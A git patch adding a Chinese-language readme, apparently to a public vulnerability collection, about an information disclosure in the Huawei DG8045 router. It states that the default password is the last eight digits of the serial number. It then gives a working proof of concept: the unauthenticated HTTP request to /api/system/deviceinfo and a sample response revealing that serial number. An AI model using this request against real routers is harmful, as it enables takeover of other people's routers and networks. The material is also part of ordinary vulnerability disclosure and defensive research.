From 35ae011ae3dd8fd5769431b3a54eeeb2c3c3ab22 Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Mon, 21 Feb 2022 18:10:23 +0800
Subject: [PATCH] =?UTF-8?q?add=20=E5=8D=8E=E4=B8=BA=E8=B7=AF=E7=94=B1?=
 =?UTF-8?q?=E5=99=A8=E6=95=8F=E6=84=9F=E4=BF=A1=E6=81=AF=E6=B3=84=E9=9C=B2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 19-华为路由器/DG8045 Router 1.0/readme.md | 44 +++++++++++++++++++++++
 1 file changed, 44 insertions(+)
 create mode 100644 19-华为路由器/DG8045 Router 1.0/readme.md

diff --git a/19-华为路由器/DG8045 Router 1.0/readme.md b/19-华为路由器/DG8045 Router 1.0/readme.md
new file mode 100644
index 0000000..e6b46d1
--- /dev/null
+++ b/19-华为路由器/DG8045 Router 1.0/readme.md	
@@ -0,0 +1,44 @@
+华为路由器敏感信息泄露--DG8045 Router 1.0
+
+
+
+# 概述
+
+路由器默认密码是序列号的最后8位
+
+
+
+# poc
+
+### 请求
+
+```shell
+GET /api/system/deviceinfo HTTP/1.1
+Host: 192.168.1.1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
+Gecko/20100101 Firefox/65.0
+Accept: application/json, text/javascript, */*; q=0.01
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: https://192.168.1.1/
+X-Requested-With: XMLHttpRequest
+Connection: close
+```
+
+### 响应
+
+```c
+HTTP/1.1 200 OK
+Cache-Control: no-cache, no-store, max-age=0, must-revalidate
+X-Download-Options: noopen
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+Date: Thu, 24 Jun 2021 02:07 GMT+2
+Connection: Keep-Alive
+Content-Language: en
+Content-Type: application/javascript
+Content-Length: 141
+
+while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
+```
+